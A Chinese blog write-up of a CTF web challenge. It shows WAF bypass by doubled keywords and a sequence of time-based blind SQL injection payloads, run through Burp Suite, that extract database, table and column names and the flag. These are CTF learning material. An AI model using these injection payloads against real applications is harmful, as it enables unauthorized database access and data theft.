zoukankan      html  css  js  c++  java
  • 一次sql盲注实战_easysql writeup

    前言

    朋友发我一道ctf web渗透题。需要渗透到数据库拿到正确flag并提交。

    1.初步观察

    随便输入账号密码发现页面回显了一段php代码,看样子是需要构造sql注入的字符串绕过waf函数检测实现sql注入。
    该waf函数会将select or等关键词替换成空白字符,防止sql注入。

    2.查看请求

    Fiddler抓包看看网络请求,可以发现这是一个基于form表单post请求的题目

    3.猜解闭合方式

    构造提交参数

    ' oor 1=1 #
    

    页面正常响应,看来闭合方式不是单引号,这里将or写成oorr目的就是绕过waf拦截,该waf函数将or替换成"",替换完后依然是or,所以绕过拦截。

    构造提交参数

    " oorr 1=1 #
    

    发现页面内容变成了 admin 35f1eeffabbb28113be22ca2eb810d6a

    尝试用这个账号密码登录一下,发现一点卵用都没有,看来没有那么简单。

    只能按照常规盲注手段一步一步往下走了。

    4. 上Burp Suite

    5.时间盲注数据库名长度

    222 " oorr if(length(database())=§len§,sleep(5),1) #
    

    点击开始攻击后可以看到数据库名长度为7个字符

    6.时间盲注数据库名称

    222 " oorr if(ascii(substring(database(),§index§,1))=§value§,sleep(5),1)#
    

    对长度进行排序后得到数据库名是easysql

    7.猜解数据库表数量

    222 " oorr if((sselectelect count(table_name) frroom infoorrmation_schema.tables wwherehere table_schema=database() )=§len§,sleep(2),1)#
    

    得到数据库表数量为2

    7.时间盲注第一个表表名长度

    得到长度为4

    222 " oorr if(length(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 0,1),1))=§len§,sleep(5),1)#
    

    8.时间盲注第二个表表名长度

    得到长度为5

    222 " oorr if(length(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 1,2),1))=§len§,sleep(5),1)#
    

    9.时间盲注第一个表表名

    得到表名为 flag

    222 " oorr if(ascii(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 0,1),§index§,1))=§value§,sleep(5),1)#
    

    10.时间盲注第二个表名

    得到第二个表表名为 users

    222 " oorr if(ascii(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 1,2),§index§,1))=§value§,sleep(5),1)#
    

    11.时间盲注flag表字段数量

    由于我们最终的结果是拿到正确的flag,猜测flag存放在flag这张表里,所以我们接下来对flag表进行渗透。

    首先猜解flag表字段数量得到字段数量为2

    222 " oorr if((sselectelect count(column_name) frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag')=§len§,sleep(5),1) #
    

    12.时间盲注flag表第一个字段名长度

    得到长度为:2

    222 " oorr if(length(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 0,1),1))=§len§,sleep(1),1)#
    

    13.时间盲注flag表第一个字段名称

    得到第一个字段名为id

    222 " oorr if(ascii(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 0,1),§index§,1))=§value§,sleep(1),1)#
    

    14.时间盲注flag表第二个字段名称

    得到第二个字段名为flag

    222 " oorr if(ascii(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 1,2),§index§,1))=§value§,sleep(1),1)#
    

    15.时间盲注flag表记录数

    得到该表只有一条记录

    222 " oorr if((sselectelect count(*) frroom fflaglag)=§count§,sleep(3),1)#
    

    16.时间盲注flag表flag字段数据长度

    得到flag的值长度是38位

    222 " oorr if(length(substr((sselectelect fflaglag frroom fflaglag limit 0,1),1))=§len§,sleep(3),1)#
    

    17.时间盲注flag值

    flag{d7edeb1366bd99aa12d109c99267e37e}

    222 " oorr if(ascii(substr((sselectelect fflaglag frroom fflaglag limit 0,1),§index§,1))=§value§,sleep(3),1)#
    

  • 相关阅读:
    微服务之初识微服务
    常见的认证机制及JSON WEB TOKEN
    深入理解缓存之缓存预热与淘汰策略
    深入理解缓存之缓存和数据库的一致性
    深入理解缓存之缓存存在的问题及应对措施
    深入理解缓存之常见的缓存算法
    计算机网络之HTTP、HTTPS、HTTP2
    计算机网络之TCP(三次握手、四次挥手等),UDP及DNS
    计算机网络之网络体系架构与IP
    深入理解MyBatis(四)--缓存
  • 原文地址:https://www.cnblogs.com/fuhua/p/15597700.html
Copyright © 2011-2022 走看看